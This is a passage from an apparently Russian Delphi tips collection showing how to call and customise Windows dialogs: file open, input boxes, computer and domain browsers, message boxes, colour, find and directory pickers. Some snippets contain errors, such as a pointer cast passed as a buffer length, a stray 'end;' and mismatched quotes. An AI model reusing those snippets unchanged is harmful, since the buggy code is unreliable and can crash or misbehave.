  Edit1.Text := file;
  Edit2.Text := IntToStr(index);
end;
К заголовку




" Вызывает диалог открытия файла
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Вызывает диалог открытия файла

вызывет диалог открытия как в офисе

Зависимости: uses activeX
Автор:       Babay_S
Copyright:   Мои раскопки
Дата:        27 сентября 2002 г.
***************************************************** }

uses activeX;

function GetFileNameFromBrowse(hOwner: LongInt; var sFile: string;
  sInitDir, sDefExt, sFilter, sTitle: string): Boolean;
{Вызывает диалог открытия файла
 Пример
 GetFileNameFromBrowse(handle,b1,'c:\Install','*.txt',
'Текстовые файлы'#0'*.txt'#0'Все файлы'#0'*.*'#0#0,'Название');
 фильтр который будет использоваться должен стоять в перечне первым
}

implementation

function SHGetFileNameFromBrowse(hOwner: LongInt; sFile: LPWSTR; nMaxFile:
  LongInt;
  sInitDir: LPWSTR; sDefExt, sFilter, sTitle: LPWSTR): Boolean;
  stdcall; external 'Shell32.dll' index 63;

//*************************** Код функций ****************************************

function GetFileNameFromBrowse(hOwner: LongInt; var sFile: string;
  sInitDir, sDefExt, sFilter, sTitle: string): Boolean;
var
  sFileW, sInitDirW, sDefExtW, sFilterW, sTitleW: PWideChar;
  sFileL, sInitDirL, sDefExtL, sFilterL, sTitleL: Integer;
begin
  sFileW := CoTaskMemAlloc(255 * sizeof(WideChar));
  StringToWideChar(SFile, SFileW, 255);
  SInitDirL := Length(sInitDir) + 1;
  sInitDirW := CoTaskMemAlloc(SInitDirL * sizeof(WideChar));
  StringToWideChar(SInitDir, SInitDirW, sInitDirL);
  SDefExtL := Length(sDefExt) + 1;
  sDefExtW := CoTaskMemAlloc(SDefExtL * sizeof(WideChar));
  StringToWideChar(SDefExt, SDefExtW, sDefExtL);
  SFilterL := Length(sFilter) + 1;
  sFilterW := CoTaskMemAlloc(SFilterL * sizeof(WideChar));
  StringToWideChar(SFilter, SFilterW, sFilterL);
  STitleL := Length(sTitle) + 1;
  sTitleW := CoTaskMemAlloc(STitleL * sizeof(WideChar));
  StringToWideChar(STitle, STitleW, sTitleL);
  Result := SHGetFileNameFromBrowse(hOwner, sFileW, Integer(sFileW), sInitDirW,
    sDefExtW, sFilterW, sTitleW);
  SFile := sFileW;
  CoTaskMemFree(sFileW);
  CoTaskMemFree(sInitDirW);
  CoTaskMemFree(sDefExtW);
  CoTaskMemFree(sFilterW);
  CoTaskMemFree(sTitleW);
end;

Пример использования:

if GetFileNameFromBrowse(handle, b1, 'c:\Install', '*.txt',
  'Текстовые файлы'#0'*.txt'#0'Все файлы'#0'*.*'#0#0      , 'Название') then
begin

end;
К заголовку




" Диалог для ввода значения
Чтобы вызвать диалог, в котором бы пользователь должен был ввести что-нибудь, достаточно воспользоваться функцией
InputBox или InputQuery. Эти функции создают диалог с полем ввода, надписью над ним и двумя кнопками: "OK" и "Cancel".
Параметры управляют заголовком окна, надписью над полем ввода и начальным значением. Функции отличаются тем, что
после вызова InputBox нельзя понять: пользователь нажал "OK", не изменив текст, или "Cancel", а текст был
восстановлен самой фунцией. InputQuery возвращает значение типа boolean по которому можно определить, какую
кнопку нажал пользователь. Пример:

procedure TForm1.Button1Click(Sender: TObject);
begin
  Form1.Caption := InputBox('Заголовок окна',
    'Введите, пожалуйста, заголовок окна:', Form1.Caption);
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  s: string;
begin
  s := Form1.Caption;
  if not InputQuery('Заголовок окна',
    'Введите, пожалуйста, заголовок окна:', s)
  then s := 'No value';
  Form1.Caption := s;
end;


К заголовку




" Диалог для выбора компьютера
uses
   ShlObj, ActiveX;

 function BrowseComputer(DialogTitle: string; var CompName: string;
   bNewStyle: Boolean): Boolean;
   // bNewStyle: If True, this code will try to use the "new"
  // BrowseForFolders UI on Windows 2000/XP
const
   BIF_USENEWUI = 28;
 var
   BrowseInfo: TBrowseInfo;
   ItemIDList: PItemIDList;
   ComputerName: array[0..MAX_PATH] of Char;
   Title: string;
   WindowList: Pointer;
   ShellMalloc: IMalloc;
 begin
   if Failed(SHGetSpecialFolderLocation(Application.Handle, CSIDL_NETWORK, ItemIDList)) then
     raise Exception.Create('Unable open browse computer dialog');
   try
     FillChar(BrowseInfo, SizeOf(BrowseInfo), 0);
     BrowseInfo.hwndOwner := Application.Handle;
     BrowseInfo.pidlRoot := ItemIDList;
     BrowseInfo.pszDisplayName := ComputerName;
     Title := DialogTitle;
     BrowseInfo.lpszTitle := PChar(Pointer(Title));
     if bNewStyle then
       BrowseInfo.ulFlags := BIF_BROWSEFORCOMPUTER or BIF_USENEWUI
     else
       BrowseInfo.ulFlags := BIF_BROWSEFORCOMPUTER;
     WindowList := DisableTaskWindows(0);
     try
       Result := SHBrowseForFolder(BrowseInfo) <> nil;
     finally
       EnableTaskWindows(WindowList);
     end;
     if Result then CompName := ComputerName;
   finally
     if Succeeded(SHGetMalloc(ShellMalloc)) then
       ShellMalloc.Free(ItemIDList);
   end;
 end;

 // Example

procedure TForm1.Button1Click(Sender: TObject);
 var
   Computer: string;
 begin
   BrowseComputer('...', Computer, True);
   label1.Caption := Computer;
 end;
К заголовку




" Диалог-компонент с кнопками Да, Нет, Отмена
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Диалог с кнопками Yes, No, Cancel (компонент).
Работает примерно так же как TDialog (для удобства).

TYesOrNoDialog.ShowNoButton - показывать ли кнопку No.
TYesOrNoDialog.ShowCancelButton - показывать ли кнопку Cancel.
TYesOrNoDialog.Caption - заголовок диалгоа.
TYesOrNoDialog.Text - текст диалога.
function TYesOrNoDialog.Execute:Integer - показывает
диалог и возвращает значение MessageBox'a

Зависимости: Windows, Messages, SysUtils, Classes, Dialogs, Forms;
Автор:       Святослав, lisin@asicdesign.ru, ICQ:138752432, Saint Petersburg
Copyright:   (C) NetBreaker666[AWD]@Svjatoslav_Lisin - т.е. я сам
Дата:        11 августа 2002 г.
***************************************************** }

unit YesOrNoDialog;

interface

uses
  Windows, Messages, SysUtils, Classes, Dialogs, Forms;

type
  TYesOrNoDialog = class(TComponent)
  private
    { Private declarations }
    _OnEx: TNotifyEvent;
    __SNO: Boolean;
    __SC: Boolean;
    _Y, _N, _C: Boolean;
    _Caption, _Text: string;
    procedure SetNo(S: Boolean);
    procedure SetCancel(S: Boolean);
  protected
    { Protected declarations }

  public
    { Public declarations }
    property Yes: Boolean read _Y;
    property No: Boolean read _N;
    property Cancel: Boolean read _C;

  published
    { Published declarations }
    property ShowNoButton: Boolean read __SNO write SetNo;
    property ShowCancelButton: Boolean read __SC write SetCancel;
    property Caption: string read _Caption write _Caption;
    property Text: string read _Text write _Text;
    property OnExecute: TNotifyEvent read _OnEx write _OnEx;
    function Execute: Integer;
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('NetBreakers', [TYesOrNoDialog]);
end;
//Voen secret.
// 2301900

function TYesOrNoDialog.Execute: Integer;
var
  Hn: THandle;
begin
  Hn := Application.Handle;
  if __SNO and __SC then
  begin
    Result := MessageBox(Hn, PChar(text), PChar(Caption), MB_YESNOCANCEL);
    _Y := (Result = 6) or (Result = 1);
    _N := Result = 7;
    _C := REsult = 2;
    Exit;
  end;
  if __SNO then
  begin
    Result := MessageBox(Hn, PChar(text), PChar(Caption), MB_YESNO);
    _Y := (Result = 6) or (Result = 1);
    _N := Result = 7;
    _C := REsult = 2;
    Exit;
  end;
  if __SC then
  begin
    Result := MessageBox(Hn, PChar(text), PChar(Caption), MB_OKCANCEL);
    _Y := (Result = 6) or (Result = 1);
    _N := Result = 7;
    _C := REsult = 2;
    Exit;
  end;
  Result := MessageBox(Hn, PChar(text), PChar(Caption), MB_OK);
  _Y := (Result = 6) or (Result = 1);
  _N := Result = 7;
  _C := Result = 2;

end;

procedure TYesOrNoDialog.SetNo(S: Boolean);
begin
  __SNO := S;
end;

procedure TYesOrNoDialog.SetCancel(S: Boolean);
begin
  __SC := S;
end;

end.
К заголовку




" Добавляем компонент в стандартный Message Dialog
Пример показывает стандартное диалоговое окно, которое обычно используется для подтверждения дальнейших действий в
любой программе с галочкой "Don't show this message again."

Используем функцию CreateMessageDialog и добавляем любой компонент до того как будет вызвана ShowModal.

Например:

procedure TForm1.Button1Click(Sender: TObject);
var
  AMsgDialog: TForm;
  ACheckBox: TCheckBox;
begin
  AMsgDialog := CreateMessageDialog('This is a test message.', mtWarning, [mbYes, mbNo]);
  ACheckBox := TCheckBox.Create(AMsgDialog);

  with AMsgDialog do
    try
      Caption := 'Dialog Title' ;
      Height := 169;

      with ACheckBox do
      begin
        Parent := AMsgDialog;
        Caption := 'Don''t show me again.';
        top := 121;
        Left := 8;
        Width := 140;
      end;

      case ShowModal of
        ID_YES: ;//здесь Ваш код после того как диалог будет закрыт
        ID_NO: ;
      end;

      if ACheckBox.Checked then
      begin
        //...
      end;

    finally
      ACheckBox.Free;
      Free;
    end;
end;


К заголовку




" Задать кнопку по умолчанию для диалога
function DefMessageDlg(const ACaption: string;
   const Msg: string;
   DlgType: TMsgDlgType;
   Buttons: TMsgDlgButtons;
   DefButton: Integer;
   HelpCtx: Longint): Integer;
 var
   i: Integer;
   btn: TButton;
 begin
   with CreateMessageDialog(Msg, DlgType, Buttons) do
     try
       Caption := ACaption;
       HelpContext := HelpCtx;
       for i := 0 to ComponentCount - 1 do
       begin
         if (Components[i] is TButton) then
         begin
           btn := TButton(Components[i]);
           btn.default := btn.ModalResult = DefButton;
           if btn.default then ActiveControl := btn;
         end;
       end;
       Result := ShowModal;
     finally
       Free;
     end;
 end;

 // Sets the focus on the "No"-Button
// Setzt den Fokus auf den "Nein"-Button

procedure TForm1.Button1Click(Sender: TObject);
 begin
   if DefMessageDlg('Title',
     '....?',
     mtConfirmation,
     mbYesNoCancel,
     mrNo,
     0) = mrYes then
     ShowMessage('....');
 end;
К заголовку




" Заменить стандартные диалоги Windows
{
  Sometimes we need to replace some text or something other in standard Windows
  Open/Save dialogs.
  Unfortunately, Delphi's dialogs components don't provide
  the access to all controls placed on Windows common dialogs.
  But we can perform this using Windows API.
  The Example below demonstrates the changing all embedded
  text controls in Open dialog.}

 {
  Das Beispiel zeigt, wie man den Text in einem TOpenDialog
  durch eigenen ersetzen kann.
}


 uses
   CommDlg;

 {...}

 procedure TForm1.OpenDialog1Show(Sender: TObject);
 {First, we need to determine identifiers of dialog's
 controls, they are following:}
 const
   LB_FILETYPES_ID = 1089; // "File types:" label
  LB_FILENAME_ID = 1090;  // "File name:" label
  LB_DRIVES_ID = 1091;    // "Look in:" label

  Str1 = 'Four';
   Str2 = 'Five';
   Str3 = 'One';
   Str4 = 'Two';
   Str5 = 'Three';
 var
   hOpenDialog: HWND;
 begin
   hOpenDialog := GetParent(OpenDialog1.Handle);
   SendMessage(hOpenDialog, CDM_SETCONTROLTEXT, idOk, Longint(PChar(Str1)));
   SendMessage(hOpenDialog, CDM_SETCONTROLTEXT, idCancel, Longint(PChar(Str2)));
   SendMessage(hOpenDialog, CDM_SETCONTROLTEXT, LB_FILETYPES_ID, Longint(PChar(Str3)));
   SendMessage(hOpenDialog, CDM_SETCONTROLTEXT, LB_FILENAME_ID, Longint(PChar(Str4)));
   SendMessage(hOpenDialog, CDM_SETCONTROLTEXT, LB_DRIVES_ID, Longint(PChar(Str5)));
 end;

 procedure TForm1.Button5Click(Sender: TObject);
 begin
   if OpenDialog1.Execute then
   begin
     // ...
  end;
 end;


 // for the Print - Dialog:

procedure TForm1.PrintDialog1Show(Sender: TObject);
 begin
   SetWindowText(GetDlgItem(PrintDialog1.Handle, idOk), '&&OK2');
   SetWindowText(GetDlgItem(PrintDialog1.Handle, idCancel), '&Cancel2');
   SetWindowText(GetDlgItem(PrintDialog1.Handle, 1025), '&Properties2');
 end;

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   if PrintDialog1.Execute then
   begin
     // ...
  end;
 end;



 // to Enumerate Control - IDs:

function EnumProc(wnd: HWND; Lines: TStrings): BOOL; stdcall;
 var
   buf, Caption: array [0..255] of char;
 begin
   Result := True;
   GetClassname(wnd, buf, 256);
   GetWindowText(wnd, Caption, 256);
   Lines.Add(Format('ID: %d, class: %s, caption: %s',
     [GetDlgCtrlID(wnd), buf, Caption]));
 end;

 procedure TForm1.PrintDialog1Show(Sender: TObject);
 begin
   memo1.Clear;
   EnumChildWindows(Printdialog1.Handle, @EnumProc, Integer(memo1.Lines));
 end;
К заголовку




" Избавление от системного окна с ошибкой
Имеется функция Windows API, преобразующя уродливые Windows-окна, информирующие об ошибках в в привычные исключения
Delphi, что, по крайней мере, более эстетично и полезно (поскольку в этом случае ошибка может быть перехвачена и
обработана вашей программой).

SetErrorMode(SEM_FAILCRITICALERRORS);


Это все! Эта функция сообщает Windows о том, что вызвавшая ошибку программа будет сама обрабатывать критические ошибки.
К заголовку




" Изменение MessageDlg
procedure TForm1.Button1Click(Sender: TObject);
 var
    f: TForm;
 begin
   // Create the MessageDialog
  // Den MessageDialog erstellen
  f := Dialogs.CreateMessageDialog('HELLOWORLD', dialogs.mtInformation, dialogs.mbOKCancel);
   // Set the backcolor to blue.
  // farbt die Form blau.
  f.Color := clBlue;
   // Set textcolor to lime
  // Farbt die Schrift lime
  f.Font.Color := clLime;
   // Zeigt die Form an und wartet auf den ModalResult.
  // Shows the dialog and wait for the modalresult
  if f.ShowModal = mrOk then
     ShowMessage('OK Pressed, OK wurde gedruckt')
   else
     ShowMessage('Cancel pressed. Abbrechen wurde gedruckt');
 end;
К заголовку




" Изменить заголовок кнопки в MessageDlg
function MyMessageDialog(const Msg: string; DlgType: TMsgDlgType;
   Buttons: TMsgDlgButtons; Captions: array of string): Integer;
 var
   aMsgDlg: TForm;
   i: Integer;
   dlgButton: TButton;
   CaptionIndex: Integer;
 begin
   { Create the Dialog }
   { Dialog erzeugen }
   aMsgDlg := CreateMessageDialog(Msg, DlgType, Buttons);
   captionIndex := 0;
   { Loop through Objects in Dialog }
   { Uber alle Objekte auf dem Dialog iterieren}
   for i := 0 to aMsgDlg.ComponentCount - 1 do
   begin
    { If the object is of type TButton, then }
    { Wenn es ein Button ist, dann...}
     if (aMsgDlg.Components[i] is TButton) then
     begin
       dlgButton := TButton(aMsgDlg.Components[i]);
       if CaptionIndex > High(Captions) then Break;
       { Give a new caption from our Captions array}
       { Schreibe Beschriftung entsprechend Captions array}
       dlgButton.Caption := Captions[CaptionIndex];
       Inc(CaptionIndex);
     end;
   end;
   Result := aMsgDlg.ShowModal;
 end;

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   if MyMessageDialog('How much...?', mtConfirmation, mbOKCancel,
     ['1', '2']) = mrOk then
     ShowMessage('"1" clicked')
   else
     ShowMessage('"2" clicked');
 end;
К заголовку




" Использование InputBox и InputQuery
Данная функция демонстрирует 3 очень мощных и полезных процедуры, интегрированных в Delphi.

Диалоговые окна InputBox и InputQuery позволяют пользователю вводить данные.

Функция InputBox используется в том случае, когда не имеет значения что пользователь выбирает для закрытия
диалогового окна - кнопку OK или кнопку Cancel (или нажатие клавиши Esc). Если вам необходимо знать какую кнопку
нажал пользователь (OK или Cancel (или нажал клавишу Esc)), используйте функцию InputQuery.

ShowMessage - другой простой путь отображения сообщения для пользователя.

procedure TForm1.Button1Click(Sender: TObject);
var
  s, s1: string;
  b: boolean;
begin
  s := Trim(InputBox('Новый пароль', 'Пароль', 'masterkey'));
  b := s <> '';
  s1 := s;
  if b then
    b := InputQuery('Повторите пароль', 'Пароль', s1);
  if not b or (s1 <> s) then
    ShowMessage('Пароль неверен');
end;


К заголовку




" Как запустить диалог поиска файла
procedure TForm1.Button1Click(Sender: TObject);
begin
  with TDDEClientConv.Create(Self) do
  begin
    ConnectMode := ddeManual;
    ServiceApplication := 'explorer.exe';
    SetLink('Folders', 'AppProperties');
    OpenLink;
    ExecuteMacro('[FindFolder(, C:\DOWNLOAD)]', False);
    CloseLink;
    Free;
  end;
end;


К заголовку




" Как использовать функцию ShowMessageFmt
procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessageFmt('This is %s.'#13'Handle: %.8x '#13'WindowProc: %p',
    [Caption, Handle, @WindowProc]);
end;


%s — вместо нее подставляется первый параметр из [], приведенный к типу String
%.8x — подставляется целое, переведенное в 16-ричную систему, дополненное слева нулями до 8-ми цифр
%p — подставляется указатель
К заголовку




" Как открыть диалог Add Printer
// добавьте ShellAPI в USES

ShellExecute(handle, nil,
  'rundll32.exe',
  'shell32.dll,SHHelpShortcuts_RunDLL AddPrinter',
  '', SW_SHOWNORMAL);
end;
К заголовку




" Как открыть диалог свойств аудио
WinExec('rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,
  '2', SW_SHOWNORMAL);
К заголовку




" Как открыть диалог смены системного времени
uses
  Shellapi;

procedure TForm1.Button1Click(Sender: TObject);
begin
  ShellExecute(Handle, 'open', 'control', 'date/time', nil, SW_SHOW);
end;
К заголовку




" Как показать Open With диалог
{
  This code displays the application/file "Open With" dialog
  Passing the full file path and name as a parameter will cause the
  dialog to display the line "Click the program you want to use to open
  the file 'filename'".
}

uses
  ShellApi;

procedure OpenWith(FileName: string);
begin
  ShellExecute(Application.Handle, 'open', PChar('rundll32.exe'),
    PChar('shell32.dll,OpenAs_RunDLL ' + FileName), nil, SW_SHOWNORMAL);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if Opendialog1.Execute then
    OpenWith(Opendialog1.FileName);
end;
К заголовку




" Манипулирование с кнопками на панели инструментов TOpenDialog
uses
   CommCtrl;

 // Beispiel: Blendet den Button zum Erzeugen eines neuen Verzeichnisses aus.
// Example: Hide the "Create New Folder" Button.

procedure TForm1.OpenPictureDialog1Show(Sender: TObject);
 const
   TB_BTN_NEWFOLDER  = 40962;
 var
    hWndToolbar, wnd: HWND;
    tbInfo: TTBButtonInfoA;
 begin
     tbInfo.cbSize := SizeOf(TTBButtonInfo);
     tbInfo.dwMask := TBIF_STATE;
     tbinfo.fsState := TBSTATE_HIDDEN or TBSTATE_INDETERMINATE;

     hWndToolbar := FindWindowEx(GetParent((Sender as TOpenPictureDialog).Handle), 0,
       'ToolbarWindow32', nil);
     SendMessage(hWndToolbar, TB_SETBUTTONINFO, TB_BTN_NEWFOLDER  ,LParam(@tbinfo));
 end;
К заголовку




" Открытие сокращённого или полного диалога выбора цвета
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Открытие сокращённого или полного диалога выбора цвета

Вид диалога зависит от того, можно ли показать начальный цвет
(C : TColor) в сокращённом диалоге или нужно раскрывать его полностью.
Возвращает выбранный пользователем цвет.

Зависимости: Windows, Messages, SysUtils, Classes, DIALOGS;
Автор:       Igor Kovalevsky, pc-ambulance@mail.ru, Владикавказ
Copyright:   Igor Kovalevsky
Дата:        1 июня 2002 г.
***************************************************** }

function SelectColor(C: TColor): TColor;
const
  BasicColors = [$00, $40, $80, $A0, $C0, $FF];
begin
  with TColorDialog.Create(Application) do
  begin
    Color := C;
    if (GetRValue(Color) in BasicColors) and
      (GetGValue(Color) in BasicColors) and
      (GetBValue(Color) in BasicColors) then
    begin
      Options := Options - [cdFullOpen];
    end
    else
    begin
      Options := Options + [cdFullOpen];
    end;
    if Execute then
    begin
      Result := Color
    end
    else
    begin
      Result := clNone;
    end;
    Free;
  end;
end;
К заголовку




" Позиционирование диалога с сообщением над формой
const
   mbMessage = WM_USER + 1024;

 type
   private
      procedure ChangeMessageBoxPosition(var Msg: TMessage); message mbMessage;
   end;


 var
   Form1: TForm1;
   msgCaption: PChar;  // variable to hold the caption

implementation


 {$R *.DFM}

 procedure TForm1.ChangeMessageBoxPosition(var Msg: TMessage);
 var
   MbHwnd: longword;
   MbRect: TRect;
   x, y, w, h: integer;
 begin
   MbHwnd := FindWindow(MAKEINTRESOURCE(WC_DIALOG), msgCaption);
   if (MbHwnd <> 0) then
   begin
     GetWindowRect(MBHWnd, MBRect);
     with MbRect do
     begin
       w := Right - Left;
       h := Bottom - Top;
     end;
     // center horzontal
    x := Form1.Left + ((Form1.Width - w) div 2);
     // keep on screen
    if x < 0 then
       x := 0
     else if x + w > Screen.Width then x := Screen.Width - w;
     //center vertical
    y := Form1.Top + ((Form1.Height - h) div 2);
     // keep on screen
    if y < 0 then y := 0
     else if y + h > Screen.Height then y := Screen.Height - h;
     // set new windows position
    SetWindowPos(MBHWnd, 0, x, y, 0, 0, SWP_NOACTIVATE or SWP_NOSIZE or SWP_NOZORDER);
   end;
 end;


 procedure TForm1.Button1Click(Sender: TObject);
 begin
   PostMessage(Handle, WM_USER + 1024, 0, 0);
   msgCaption := 'Confirm';
   MessageBox(Handle, 'Has our MessageBox moved ?', msgCaption,
     MB_ICONQUESTION or MB_YESNO);
 end;
К заголовку




" Поиск в TMemo с использованием TFindDialog
private
     { Private declarations }
     FSelPos: integer;
   public
     { Public declarations }
   end;

 var
   Form1 : TForm1;

 implementation

 {$R *.dfm}

 procedure TForm1.FindDialog1Find(Sender : TObject);
 var
   S : string;
   startpos : integer;
 begin
   with TFindDialog(Sender) do
   begin
     {If the stored position is 0 this cannot be a find next. }
     if FSelPos = 0 then
       Options := Options - [frFindNext];

      { Figure out where to start the search and get the corresponding
       text from the memo. }
     if frfindNext in Options then
     begin
       { This is a find next, start after the end of the last found word. }
       StartPos := FSelPos + Length(Findtext);
       S := Copy(Memo1.Lines.Text, StartPos, MaxInt);
     end
     else
     begin
       { This is a find first, start at the, well, start. }
       S := Memo1.Lines.Text;
       StartPos := 1;
     end;
     { Perform a global case-sensitive search for FindText in S }
     FSelPos := Pos(FindText, S);
     if FSelPos > 0 then
     begin
        { Found something, correct position for the location of the start
         of search. }
       FSelPos := FSelPos + StartPos - 1;
       Memo1.SelStart := FSelPos - 1;
       Memo1.SelLength := Length(FindText);
       Memo1.SetFocus;
     end
     else
     begin
       { No joy, show a message. }
       if frfindNext in Options then
         S := Concat('There are no further occurences of "', FindText,
           '" in Memo1.')
       else
         S := Concat('Could not find "', FindText, '" in Memo1.');
       MessageDlg(S, mtError, [mbOK], 0);
     end;
   end;
 end;

 // Show the FindDialog
// Den FindDialog anzeigen

procedure TForm1.Button1Click(Sender : TObject);
 begin
   FSelPos := 0;
   FindDialog1.Execute;
 end;
К заголовку




" Показать диалог Открыть с помощью
{
  This code displays the application/file "Open With" dialog
  Passing the full file path and name as a parameter will cause the
  dialog to display the line "Click the program you want to use to open
  the file 'filename'".
}

 uses
   ShellApi;

   procedure OpenWith(FileName: string);
 begin
   ShellExecute(Application.Handle, 'open', PChar('rundll32.exe'),
     PChar('shell32.dll,OpenAs_RunDLL ' + FileName), nil, SW_SHOWNORMAL);
 end;


 procedure TForm1.Button1Click(Sender: TObject);
 begin
   if Opendialog1.Execute then
     OpenWith(Opendialog1.FileName);
 end;
К заголовку




" Показать диалог выбора директории с кнопкой для создания новой
{....}

 uses
   ShlObj, ActiveX;

 {....}


 {
  This code shows the SelectDirectory dialog with additional expansions:
  - an edit box, where the user can type the path name,
  - also files can appear in the list,
  - a button to create new directories.


  Dieser Code zeigt den SelectDirectory-Dialog mit zusatzlichen Erweiterungen:
  - eine Edit-Box, wo der Benutzer den Verzeichnisnamen eingeben kann,
  - auch Dateien konnen in der Liste angezeigt werden,
  - eine Schaltflache zum Erstellen neuer Verzeichnisse.
}

 function AdvSelectDirectory(const Caption: string; const Root: WideString;
   var Directory: string; EditBox: Boolean = False; ShowFiles: Boolean = False;
   AllowCreateDirs: Boolean = True): Boolean;
   // callback function that is called when the dialog has been initialized
  //or a new directory has been selected

  // Callback-Funktion, die aufgerufen wird, wenn der Dialog initialisiert oder
  //ein neues Verzeichnis selektiert wurde
  function SelectDirCB(Wnd: HWND; uMsg: UINT; lParam, lpData: lParam): Integer;
     stdcall;
   var
     PathName: array[0..MAX_PATH] of Char;
   begin
     case uMsg of
       BFFM_INITIALIZED: SendMessage(Wnd, BFFM_SETSELECTION, Ord(True), Integer(lpData));
       // include the following comment into your code if you want to react on the
      //event that is called when a new directory has been selected
      // binde den folgenden Kommentar in deinen Code ein, wenn du auf das Ereignis
      //reagieren willst, das aufgerufen wird, wenn ein neues Verzeichnis selektiert wurde
      {BFFM_SELCHANGED:
      begin
        SHGetPathFromIDList(PItemIDList(lParam), @PathName);
        // the directory "PathName" has been selected
        // das Verzeichnis "PathName" wurde selektiert
      end;}
     end;
     Result := 0;
   end;
 var
   WindowList: Pointer;
   BrowseInfo: TBrowseInfo;
   Buffer: PChar;
   RootItemIDList, ItemIDList: PItemIDList;
   ShellMalloc: IMalloc;
   IDesktopFolder: IShellFolder;
   Eaten, Flags: LongWord;
 const
   // necessary for some of the additional expansions
  // notwendig fur einige der zusatzlichen Erweiterungen
  BIF_USENEWUI = $0040;
   BIF_NOCREATEDIRS = $0200;
 begin
   Result := False;
   if not DirectoryExists(Directory) then
     Directory := '';
   FillChar(BrowseInfo, SizeOf(BrowseInfo), 0);
   if (ShGetMalloc(ShellMalloc) = S_OK) and (ShellMalloc <> nil) then
   begin
     Buffer := ShellMalloc.Alloc(MAX_PATH);
     try
       RootItemIDList := nil;
       if Root <> '' then
       begin
         SHGetDesktopFolder(IDesktopFolder);
         IDesktopFolder.ParseDisplayName(Application.Handle, nil,
           POleStr(Root), Eaten, RootItemIDList, Flags);
       end;
       OleInitialize(nil);
       with BrowseInfo do
       begin
         hwndOwner := Application.Handle;
         pidlRoot := RootItemIDList;
         pszDisplayName := Buffer;
         lpszTitle := PChar(Caption);
         // defines how the dialog will appear:
        // legt fest, wie der Dialog erscheint:
        ulFlags := BIF_RETURNONLYFSDIRS or BIF_USENEWUI or
           BIF_EDITBOX * Ord(EditBox) or BIF_BROWSEINCLUDEFILES * Ord(ShowFiles) or
           BIF_NOCREATEDIRS * Ord(not AllowCreateDirs);
         lpfn    := @SelectDirCB;
         if Directory <> '' then
           lParam := Integer(PChar(Directory));
       end;
       WindowList := DisableTaskWindows(0);
       try
         ItemIDList := ShBrowseForFolder(BrowseInfo);
       finally
         EnableTaskWindows(WindowList);
       end;
       Result := ItemIDList <> nil;
       if Result then
       begin
         ShGetPathFromIDList(ItemIDList, Buffer);
         ShellMalloc.Free(ItemIDList);
         Directory := Buffer;
       end;
     finally
       ShellMalloc.Free(Buffer);
     end;
   end;
 end;


 // Example:
procedure TForm1.Button1Click(Sender: TObject);
 var
   dir: string;
 begin
   AdvSelectDirectory('Caption', 'c:\', dir, False, False, True);
   Label1.Caption := dir;
 end;
К заголовку




" Показать диалог выбора домена
{
  If you are developing network software for Windows NT,
  you usually need to ask the user to select a computer or domain
  he wants to connect/login.
}

 const
   FOCUSDLG_DOMAINS_ONLY = 1;
   FOCUSDLG_SERVERS_ONLY = 2;
   FOCUSDLG_SERVERS_DOMAINS = 3;
   FOCUSDLG_BROWSE_LOGON_DOMAIN = $00010000;
   FOCUSDLG_BROWSE_WKSTA_DOMAIN = $00020000;
   FOCUSDLG_BROWSE_OTHER_DOMAINS = $00040000;
   FOCUSDLG_BROWSE_TRUSTING_DOMAINS = $00080000;
   FOCUSDLG_BROWSE_WORKGROUP_DOMAINS = $00100000;
   FOCUSDLG_BROWSE_ALL_DOMAINS = FOCUSDLG_BROWSE_LOGON_DOMAIN or
     FOCUSDLG_BROWSE_WKSTA_DOMAIN or FOCUSDLG_BROWSE_OTHER_DOMAINS or
     FOCUSDLG_BROWSE_TRUSTING_DOMAINS or FOCUSDLG_BROWSE_WORKGROUP_DOMAINS;


 function SystemFocusDialog(hwndOwner: HWND; dwSelectionFlag: UINT;
   wszName: PWideChar; dwBufSize: DWORD; var bOKPressed: Boolean;
   wszHelpFile: PWideChar; dwContextHelpId: DWORD): DWORD; stdcall;
   external 'ntlanman.dll' Name 'I_SystemFocusDialog';

 function ComputerBrowser(hWndParent: HWND; wCompName: PWideChar;
   dwBufLen: DWORD): Boolean;
 var
   dwError: DWORD;
 begin
   Result := False;
   dwError := SystemFocusDialog(hWndParent, FOCUSDLG_SERVERS_DOMAINS or
     FOCUSDLG_BROWSE_ALL_DOMAINS,
     wCompName, dwBufLen, Result, nil, 0);
   if dwError <> NO_ERROR then Exit;
 end;


 procedure TForm1.Button1Click(Sender: TObject);
 var
   wCompName: array [0..MAX_COMPUTERNAME_LENGTH + 1] of WideChar;
 begin
   if ComputerBrowser(0, wCompName, MAX_COMPUTERNAME_LENGTH + 1) then
     ShowMessage(wCompName)
   else
     ShowMessage('no computer selected');
 end;

 {***************************}

 // Show the ServerBrowseDialogA0 Dialog

type
   TServerBrowseDialogA0 = function(hwnd: HWND; pchBuffer: Pointer;
     cchBufSize: DWORD): bool;
   stdcall;

 function ShowServerDialog(AHandle: THandle): string;
 var
   ServerBrowseDialogA0: TServerBrowseDialogA0;
   LANMAN_DLL: DWORD;
   buffer: array[0..1024] of char;
   bLoadLib: Boolean;
 begin
   LANMAN_DLL := GetModuleHandle('NTLANMAN.DLL');
   if LANMAN_DLL = 0 then
   begin
     LANMAN_DLL := LoadLibrary('NTLANMAN.DLL');
     bLoadLib := True;
   end;
   if LANMAN_DLL <> 0 then
   begin @ServerBrowseDialogA0 := GetProcAddress(LANMAN_DLL, 'ServerBrowseDialogA0');
     DialogBox(HInstance, MAKEINTRESOURCE(101), AHandle, nil);
     ServerBrowseDialogA0(AHandle, @buffer, 1024);
     if buffer[0] = '\' then
     begin
       Result := buffer;
     end;
     if bLoadLib then
       FreeLibrary(LANMAN_DLL);
   end;
 end;

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   label1.Caption := ShowServerDialog(Form1.Handle);
 end;
К заголовку




" Показать диалог для запуска приложения
uses
   ComObj;

 procedure TForm1.FormCreate(Sender: TObject);
 var
   ShellApplication: Variant;
 begin
   ShellApplication := CreateOleObject('Shell.Application');
   ShellApplication.FileRun;
 end;
 ----------------------------------------

 { This code uses the undocumented RunFileDlg function to show the "run" dialog }
